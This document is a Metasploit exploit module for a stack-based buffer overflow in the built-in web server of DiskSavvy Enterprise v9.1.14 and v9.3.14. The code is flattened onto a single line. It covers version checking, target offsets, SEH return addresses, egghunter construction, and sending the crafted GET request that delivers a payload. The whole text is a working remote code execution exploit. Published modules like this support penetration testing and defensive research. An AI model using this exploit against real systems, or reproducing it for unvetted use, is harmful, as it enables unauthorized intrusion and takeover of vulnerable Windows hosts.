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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'DiskSavvy Enterprise GET Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow vulnerability in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14, caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License'=> MSF_LICENSE, 'Author' => [ 'vportal',# Vulnerability discovery and PoC 'Gabor Seljan'# Metasploit module ], 'References' => [ ['EDB', '40869'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload'=> { 'BadChars' => "\x00\x09\x0a\x0d\x20", 'Space'=> 500 }, 'Targets'=> [ [ 'Automatic Targeting', { 'auto' => true } ], [ 'DiskSavvy Enterprise v9.1.14', { 'Offset' => 542, 'Ret'=> 0x101142c0# POP # POP # RET [libspp.dll] } ], [ 'DiskSavvy Enterprise v9.3.14', { 'Offset' => 2478, 'Ret'=> 0x101142ff# POP # POP # RET [libspp.dll] } ] ], 'Privileged' => true, 'DisclosureDate' => 'Dec 01 2016', 'DefaultTarget'=> 0)) end def check res = send_request_cgi( 'method' => 'GET', 'uri'=> '/' ) if res && res.code == 200 version = res.body[/Disk Savvy Enterprise v[^<]*/] if version vprint_status("Version detected: #{version}") if version =~ /9\.(1|3)\.14/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end else vprint_error('Unable to determine due to a HTTP connection timeout') return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit mytarget = target if target['auto'] mytarget = nil print_status('Automatically detecting the target...') res = send_request_cgi( 'method' => 'GET', 'uri'=> '/' ) if res && res.code == 200 if res.body =~ /Disk Savvy Enterprise v9\.1\.14/ mytarget = targets[1] elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/ mytarget = targets[2] end end if !mytarget fail_with(Failure::NoTarget, 'No matching target') end print_status("Selected target: #{mytarget.name}") end eggoptions = { checksum: true, eggtag: rand_text_alpha(4, payload_badchars) } hunter, egg = generate_egghunter( payload.encoded, payload_badchars, eggoptions ) sploit =make_nops(10) sploit << egg sploit << rand_text_alpha(mytarget['Offset'] - egg.length) sploit << generate_seh_record(mytarget.ret) sploit << make_nops(8) sploit << hunter sploit << rand_text_alpha(4500) print_status('Sending malicious request...') send_request_cgi( 'method' => 'GET', 'uri'=> sploit ) end end |
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